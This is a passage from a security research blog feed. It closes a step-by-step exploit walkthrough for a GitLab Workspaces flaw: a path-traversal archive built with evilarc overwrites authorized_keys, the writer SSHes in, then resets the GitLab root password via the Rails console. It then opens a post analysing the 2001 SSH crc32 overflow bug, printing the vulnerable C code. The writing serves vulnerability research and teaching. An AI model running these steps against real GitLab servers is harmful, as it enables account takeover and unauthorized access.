&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-1&quot;&lt;/span&gt;,no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-ed25519 AAAAC3...[REDACTED]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Since we got arbitrary file write, we can just substitute the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;authorized_keys&lt;/code&gt; with one containing a non-restricted key we can use. Back to our exploit prepping, create a new &lt;em&gt;.tar&lt;/em&gt; ad-hoc for it:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;## write a valid entry in a local authorized_keys for one of your keys&lt;/span&gt;
➜ python3 evilarc.py authorized_keys &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; archive.tar.gz &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; var/opt/gitlab/.ssh/ &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; unix
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At this point, substitute the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;archive.tar&lt;/code&gt; in your malicious devfile registry, rebuild its image and run it. When ready, trigger the exploit again by creating a new Workspace in the GitLab Web UI.&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;After a few seconds, you should be able to SSH as an unrestricted &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt; user.
Below we also show how to change the GitLab Web &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; user’s password:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;➜ ssh  &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; ~/.ssh/gitlab2 git@gitinstance.local
➜ git@gitinstance.local:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gitlab-rails console &lt;span class=&quot;nt&quot;&gt;--environment&lt;/span&gt; production
&lt;span class=&quot;nt&quot;&gt;--------------------------------------------------------------------------------&lt;/span&gt;
 Ruby:         ruby 3.1.4p223 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2023-03-30 revision 957bb7cb81&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;x86_64-linux]
 GitLab:       16.8.0-ee &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1e912d57d5a&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; EE
 GitLab Shell: 14.32.0
 PostgreSQL:   14.9
&lt;span class=&quot;nt&quot;&gt;------------------------------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; booted &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;39.28s &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;

Loading production environment &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Rails 7.0.8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
irb&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;main&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:002:0&amp;gt; user &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; User.find_by_username &lt;span class=&quot;s1&quot;&gt;'root'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;#&amp;lt;User id:1 @root&amp;gt;&lt;/span&gt;
irb&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;main&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:003:0&amp;gt; new_password &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'ItIsPartyTime!'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ItIsPartyTime!&quot;&lt;/span&gt;
irb&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;main&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:004:0&amp;gt; user.password &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; new_password
&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ItIsPartyTime!&quot;&lt;/span&gt;
irb&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;main&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:005:0&amp;gt; user.password_confirmation &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; new_password
&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ItIsPartyTime!&quot;&lt;/span&gt;
irb&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;main&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:006:0&amp;gt; user.password_automatically_set &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false
&lt;/span&gt;irb&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;main&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:007:0&amp;gt; user.save!
&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Finally, you are ready to authenticate as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; user in the target Web instance.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Our goal was to build a &lt;a href=&quot;https://github.com/doyensec/malicious-devfile-registry&quot; target=&quot;_blank&quot;&gt;PoC for CVE-2024-0402&lt;/a&gt;. We were able to do it despite the restricted time and connectivity. Still, there were tons of configuration errors while preparing the GitLab Workspaces environment, we almost surrendered because the feature itself was just not working after hours of setup. Once again, that demonstrates how very good bugs can be found in places where just a few people adventure because of config time constraints.&lt;/p&gt;

&lt;p&gt;Shout out to &lt;a href=&quot;https://gitlab.com/joernchen&quot; target=&quot;_blank&quot;&gt;joernchen&lt;/a&gt; for the discovery of the chain.
Not only was the bug great, but he also did an amazing work in describing the research path he followed in this &lt;a href=&quot;https://gitlab-com.gitlab.io/gl-security/security-tech-notes/security-research-tech-notes/devfile/&quot; target=&quot;_blank&quot;&gt;article&lt;/a&gt;. We had fun exploiting it and we hope people will save time with our public &lt;a href=&quot;https://github.com/doyensec/malicious-devfile-registry&quot; target=&quot;_blank&quot;&gt;exploit&lt;/a&gt;!&lt;/p&gt;

&lt;h2 id=&quot;resources&quot;&gt;Resources&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab/-/issues/437819&quot;&gt;https://gitlab.com/gitlab-org/gitlab/-/issues/437819&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gitlab-com.gitlab.io/gl-security/security-tech-notes/security-research-tech-notes/devfile/&quot;&gt;https://gitlab-com.gitlab.io/gl-security/security-tech-notes/security-research-tech-notes/devfile/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://devfile.io/docs/2.1.0/building-a-custom-devfile-registry&quot;&gt;https://devfile.io/docs/2.1.0/building-a-custom-devfile-registry&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</content>
 </entry>
 
 <entry>
   <title>!exploitable Episode Two - Enter the Matrix</title>
   <link href="https://blog.doyensec.com/2025/02/27/exploitable-sshd.html"/>
   <updated>2025-02-27T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2025/02/27/exploitable-sshd</id>
   <content type="html">&lt;style&gt;ol { list-style-type: decimal }&lt;/style&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;In case you are just tuning in, Doyensec has found themselves on a
cruse ship touring the Mediterranean. Unwinding, hanging out with colleagues and having
some fun. &lt;a href=&quot;https://blog.doyensec.com/2025/02/11/exploitable-iot.html&quot;&gt;Part 1&lt;/a&gt; covered our journey into IoT ARM exploitation, while our next blog post, coming in the next couple weeks, will cover a web target. For this episode, we attempt to exploit one of the most famous vulnerabilities ever. &lt;strong&gt;SSHNuke&lt;/strong&gt; from back in 2001. Better known as the exploit used by Trinity in the movie &lt;em&gt;The Matrix Reloaded&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/sshtrinity.png&quot; alt=&quot;Trinity and SSHD&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 450px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h2 id=&quot;some-quick-history&quot;&gt;Some Quick History&lt;/h2&gt;

&lt;p&gt;Back in 1998 Ariel Futoransky and Emiliano Kargieman realized SSH’s protocol
was fundamentally flawed, as it was possible to inject cipher text. So a crc32
checksum was added in order to detect this attack.&lt;/p&gt;

&lt;p&gt;On February 8, 2001 Michal Zalewski posted to the Bugtraq mailing list an
advisory named “Remote vulnerability in SSH daemon crc32 compensation attack
detector” labeled CAN-2001-0144 (CAN aka CVE candidate)
(&lt;a href=&quot;https://web.archive.org/web/20020205102640/http://razor.bindview.com/publish/advisories/adv_ssh1crc.html&quot;&gt;ref&lt;/a&gt;).
The “crc32” had a unique memory corruption vulnerability that could result in
arbitrary code execution.&lt;/p&gt;

&lt;p&gt;A bit after June, TESO Security released a
&lt;a href=&quot;https://web.archive.org/web/20020606123804/http://www.team-teso.net/sshd_statement.php&quot;&gt;statement&lt;/a&gt;
regarding the leak of an exploit they wrote. This is interesting as it
demonstrates that until June there was no reliable public exploit. TESO was aware of 6,
private exploits, including their own.&lt;/p&gt;

&lt;p&gt;Keep in mind, the first major OS level mitigation to memory corruption was not
released until July of that year in the form of
&lt;a href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization#History&quot;&gt;ALSR&lt;/a&gt;.
A lack of exploits is likely due to the novelty of this vulnerability.&lt;/p&gt;

&lt;p&gt;The Matrix Reloaded started filming &lt;a href=&quot;https://en.wikipedia.org/wiki/The_Matrix_Reloaded#Filming&quot;&gt;March of 2001&lt;/a&gt; and was released May of 2003. It’s impressive they picked such an amazing bug for the movie from one of the most well-known hackers of our day.&lt;/p&gt;

&lt;h2 id=&quot;trying-it-yourself&quot;&gt;Trying it yourself&lt;/h2&gt;

&lt;p&gt;Building exploit environments is at best boring. At sea, with no Internet,
trying to build a 20 year old piece of software is a nightmare. So while some
of our team worked on that, we ported the vulnerability to a standalone
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main.c&lt;/code&gt; that anyone can easily build on any modern (or even old) system.&lt;/p&gt;

&lt;p&gt;Feel free to grab it from &lt;a href=&quot;https://github.com/doyensec/SSHNuke_info&quot;&gt;github&lt;/a&gt;, compile with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcc -g main.c&lt;/code&gt; and
follow along.&lt;/p&gt;

&lt;h2 id=&quot;the-bug&quot;&gt;The Bug&lt;/h2&gt;

&lt;p&gt;This is your last chance to try and find the bug yourself. The core of the bug
is in the following source code.&lt;/p&gt;

&lt;p&gt;From: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src/deattack.c:82 - 109&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* Detect a crc32 compensation attack on a packet */&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;detect_attack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u_int32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u_int16_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;u_int16_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u_int16_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HASH_MINSIZE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HASH_ENTRYSIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// DOYEN 0x1000&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;register&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u_int32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;u_int32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;register&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SSH_MAXBLOCKS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSH_BLOCKSIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// DOYEN len &amp;gt; 0x40000&lt;/span&gt;
	    &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSH_BLOCKSIZE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;              &lt;span class=&quot;c1&quot;&gt;// DOYEN len % 8&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;fatal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;detect_attack: bad length %d&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HASH_FACTOR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSH_BLOCKSIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;debug&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Installing crc compensation attack detector.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;u_int16_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xmalloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HASH_ENTRYSIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;u_int16_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xrealloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HASH_ENTRYSIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This code is making sure the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt; buffer and its size &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt; are managed properly.
This code is crucial, as it runs every encrypted message. To prevent re-allocation,
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt; are declared &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;static&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xmalloc&lt;/code&gt; will initialize &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt; with memory
on the first call. Subsequent calls test if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;len&lt;/code&gt; is too big for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt; to handle -
if so, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xrealloc&lt;/code&gt; occurs.&lt;/p&gt;

&lt;p&gt;Have you discovered the bug? My first thought was an int overflow in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xmalloc(n * HASH_ENTRYSIZE)&lt;/code&gt; 
or its twin &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xrealloc(h, n * HASH_ENTRYSIZE)&lt;/code&gt;. This is wrong!
These values can not be overflowed because of restrictions on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt;. These
restrictions though, end up being the real vulnerability. I am curious if
Zalewski took this path as well.&lt;/p&gt;

&lt;p&gt;The variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt; is declared early on (C99 spec) as a 16 bit value (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;static u_int16_t&lt;/code&gt;),
while &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt; is 32 bit (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u_int32_t&lt;/code&gt;). So a potential int overflow occurs on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n = l&lt;/code&gt; 
if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt; is greater than 0xffff. Can we get &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt; big enough to overflow?&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HASH_FACTOR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSH_BLOCKSIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This cryptic line is our only chance to set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt;. It initially sets &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt;.
Remember &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt; represents our static size of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt;. So &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt; is acting like a temp
variable to see if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt; needs adjustment. Every time this for loop runs, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt; is
bit shifted left by 2 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l &amp;lt;&amp;lt; 2&lt;/code&gt;). This effectively multiplies &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt; by 4 every
iteration. We know &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt; is initially 0x1000, so after a single loop it will be
0x4000. Another loop and it’s 0x10000. This 0x10000 value cast to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u_int16_t&lt;/code&gt;
will overflow and result in 0. So all possible values of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt; are 0x1000, 0x4000
and 0. Any further iterations of the above loop will bitshift 0 to 0.&lt;/p&gt;

&lt;p&gt;The loop runs when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l &amp;lt; HASH_FACTOR(len / SSH_BLOCKSIZE)&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HASH_FACTOR&lt;/code&gt;
macro is just multiplying &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;len&lt;/code&gt; by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3/2&lt;/code&gt;. So a bit of math lets us know that
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;len&lt;/code&gt; needs to be 0x15560 or more, to loop twice. We can validate this with our
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main.c&lt;/code&gt; by adding the following code (or use the &lt;em&gt;cheat&lt;/em&gt; branch of git repo).&lt;/p&gt;

